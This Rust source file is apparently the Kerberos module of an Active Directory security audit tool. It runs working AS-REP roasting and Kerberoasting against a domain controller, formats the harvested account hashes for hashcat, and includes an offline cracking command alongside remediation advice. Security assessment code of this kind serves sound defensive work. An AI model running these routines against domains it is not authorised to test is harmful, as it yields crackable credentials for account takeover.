pub mod asreq;
pub mod crypto;
pub mod hashcat;
pub mod tgsreq;
use std::net::SocketAddr;
use std::sync::Arc;
use std::time::Duration;
use async_trait::async_trait;
use rand::Rng;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::config::Config;
use crate::modules::{DiagnosticModule, LdapContext};
use crate::report::{Finding, Severity};
use self::asreq::{build_asrep_roast_request, parse_kdc_response, KdcResponse};
use self::hashcat::format_asrep_18200;
use self::tgsreq::{build_authenticated_asreq, decrypt_asrep, kerberoast, TgtSession};
pub struct KerberosModule {
pub ldap_ctx: LdapContext,
}
impl KerberosModule {
pub fn new(ldap_ctx: LdapContext) -> Self {
KerberosModule { ldap_ctx }
}
}
#[async_trait]
impl DiagnosticModule for KerberosModule {
fn name(&self) -> &'static str {
"kerberos"
}
async fn run(&self, config: Arc<Config>) -> anyhow::Result<Vec<Finding>> {
let mut findings = Vec::new();
let dc_addr = config.dc_addr_port88();
let realm = config.realm();
eprintln!("[*] Kerberos: checking {} AS-REP Roasting candidates", self.ldap_ctx.asrep_candidates.len());
for username in &self.ldap_ctx.asrep_candidates {
let (nonce, delay_ms) = {
let n: u32 = rand::random();
let d: u64 = rand::thread_rng().gen_range(100..=500);
(n, d)
};
let req = build_asrep_roast_request(username, &realm, nonce);
match mod_send_kerberos_tcp(&dc_addr, &req, config.timeout_secs).await {
Ok(raw) => match parse_kdc_response(&raw) {
Ok(KdcResponse::AsRep(enc)) => {
let hash = format_asrep_18200(enc.etype, username, &realm, &enc.cipher);
let etype_name = if enc.etype == 23 { "RC4-HMAC (weak)" } else { "AES" };
findings.push(Finding::new(
format!("KERB-ASREP-{}", username.to_uppercase()),
"kerberos",
Severity::High,
format!("AS-REP Roastable account: {}", username),
format!(
"Account '{}' has DONT_REQ_PREAUTH set. \
The KDC returned an AS-REP without verifying the user's identity. \
The encrypted part (etype: {}) can be cracked offline.",
username, enc.etype
),
serde_json::json!({
"username": username,
"etype": enc.etype,
"etype_name": etype_name,
"hashcat_hash": hash,
"hashcat_mode": 18200,
}),
Some("Crack offline: hashcat -m 18200 <hash> wordlist.txt. \
If the account has admin privileges, this leads to direct privilege escalation.".into()),
)
.with_llm_context(format!(
"CONFIRMED VULNERABILITY: Account '{}@{}' responded to an AS-REQ \
without pre-authentication (DONT_REQ_PREAUTH is set). \
Encryption type: {} ({}). \
The hashcat_hash in evidence can be run directly against a wordlist \
with 'hashcat -m 18200'. \
This attack requires zero valid credentials and works from any network position.",
username, realm, enc.etype, etype_name
))
.with_remediation(vec![
"Enable Kerberos pre-authentication: ADUC → Account tab → uncheck 'Do not require Kerberos preauthentication'",
"If the account's password is exposed, change it immediately",
"Investigate why pre-auth was disabled — escalate to AD team",
])
.with_mitre("T1558.004"));
}
Ok(KdcResponse::PreauthRequired) => {
}
Ok(KdcResponse::Error(code)) => {
eprintln!("[!] KRB-ERROR {} for user {}", code, username);
}
Err(e) => eprintln!("[!] Parse error for {}: {}", username, e),
},
Err(e) => eprintln!("[!] Network error for {}: {}", username, e),
}
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
if !self.ldap_ctx.spn_accounts.is_empty() {
eprintln!("[*] Kerberos: Kerberoasting {} SPN accounts", self.ldap_ctx.spn_accounts.len());
let tgt_nonce: u32 = rand::random();
match acquire_tgt(&config, &dc_addr, &realm, tgt_nonce).await {
Ok(session) => {
let tgs_findings = kerberoast(
dc_addr,
&config.username,
&realm,
&session,
&self.ldap_ctx.spn_accounts,
config.timeout_secs,
)
.await;
findings.extend(tgs_findings);
}
Err(e) => {
eprintln!("[!] Failed to acquire TGT for Kerberoasting: {}", e);
findings.push(Finding::new(
"KERB-TGT-FAIL",
"kerberos",
Severity::Info,
"Kerberoasting skipped: TGT acquisition failed",
format!("Could not obtain TGT: {}. Kerberoasting requires valid credentials.", e),
serde_json::Value::Null,
None,
));
}
}
}
Ok(findings)
}
}
async fn acquire_tgt(
config: &Arc<Config>,
dc_addr: &SocketAddr,
realm: &str,
nonce: u32,
) -> anyhow::Result<TgtSession> {
let req = build_authenticated_asreq(&config.username, realm, &config.password, nonce);
let raw = mod_send_kerberos_tcp(dc_addr, &req, config.timeout_secs).await?;
let response = parse_kdc_response(&raw)
.map_err(|e| anyhow::anyhow!("Failed to parse AS-REP: {}", e))?;
match response {
KdcResponse::AsRep(enc) => {
let session_key = decrypt_asrep(&enc.cipher, &config.password)
.map_err(|e| anyhow::anyhow!("AS-REP decryption failed: {}", e))?;
let ticket_der = extract_ticket_from_asrep(&raw)
.unwrap_or_default();
Ok(TgtSession { ticket_der, session_key })
}
KdcResponse::PreauthRequired => {
anyhow::bail!("Preauth required but wasn't provided — this shouldn't happen")
}
KdcResponse::Error(code) => {
anyhow::bail!("KDC returned error code {} (e.g. 24=wrong password, 6=no user)", code)
}
}
}
fn extract_ticket_from_asrep(data: &[u8]) -> anyhow::Result<Vec<u8>> {
use asreq::{find_context_tag, unwrap_sequence_pub};
if data.is_empty() || data[0] != 0x6b {
anyhow::bail!("Not an AS-REP");
}
let (_, inner, _) = read_tlv(data)?;
let seq = unwrap_sequence_pub(inner)?;
let ticket_field = find_context_tag(seq, 5)
.ok_or_else(|| anyhow::anyhow!("ticket [5] not found in AS-REP"))?;
Ok(ticket_field.to_vec())
}
fn read_tlv(data: &[u8]) -> anyhow::Result<(u8, &[u8], &[u8])> {
if data.is_empty() {
anyhow::bail!("Empty data");
}
let tag = data[0];
let (len, rest) = read_length(&data[1..])?;
if rest.len() < len {
anyhow::bail!("TLV truncated");
}
Ok((tag, &rest[..len], &rest[len..]))
}
fn read_length(data: &[u8]) -> anyhow::Result<(usize, &[u8])> {
if data.is_empty() {
anyhow::bail!("Empty data reading length");
}
if data[0] & 0x80 == 0 {
return Ok((data[0] as usize, &data[1..]));
}
let n = (data[0] & 0x7f) as usize;
if data.len() < 1 + n {
anyhow::bail!("Truncated length");
}
let mut len = 0usize;
for &b in &data[1..=n] {
len = (len << 8) | b as usize;
}
Ok((len, &data[1 + n..]))
}
pub async fn mod_send_kerberos_tcp(
addr: &SocketAddr,
framed_request: &[u8],
timeout_secs: u64,
) -> anyhow::Result<Vec<u8>> {
let mut stream = tokio::time::timeout(
Duration::from_secs(timeout_secs),
TcpStream::connect(addr),
)
.await
.map_err(|_| anyhow::anyhow!("Connection timeout to {}", addr))?
.map_err(|e| anyhow::anyhow!("TCP connect to {} failed: {}", addr, e))?;
tokio::time::timeout(Duration::from_secs(timeout_secs), stream.write_all(framed_request))
.await
.map_err(|_| anyhow::anyhow!("Send timeout"))?
.map_err(|e| anyhow::anyhow!("Send error: {}", e))?;
let mut len_buf = [0u8; 4];
tokio::time::timeout(Duration::from_secs(timeout_secs), stream.read_exact(&mut len_buf))
.await
.map_err(|_| anyhow::anyhow!("Receive timeout reading length"))?
.map_err(|e| anyhow::anyhow!("Receive error: {}", e))?;
let body_len = u32::from_be_bytes(len_buf) as usize;
if body_len > 1024 * 1024 {
anyhow::bail!("Suspiciously large Kerberos response: {} bytes", body_len);
}
let mut body = vec![0u8; body_len];
tokio::time::timeout(Duration::from_secs(timeout_secs), stream.read_exact(&mut body))
.await
.map_err(|_| anyhow::anyhow!("Receive timeout reading body"))?
.map_err(|e| anyhow::anyhow!("Receive error: {}", e))?;
Ok(body)
}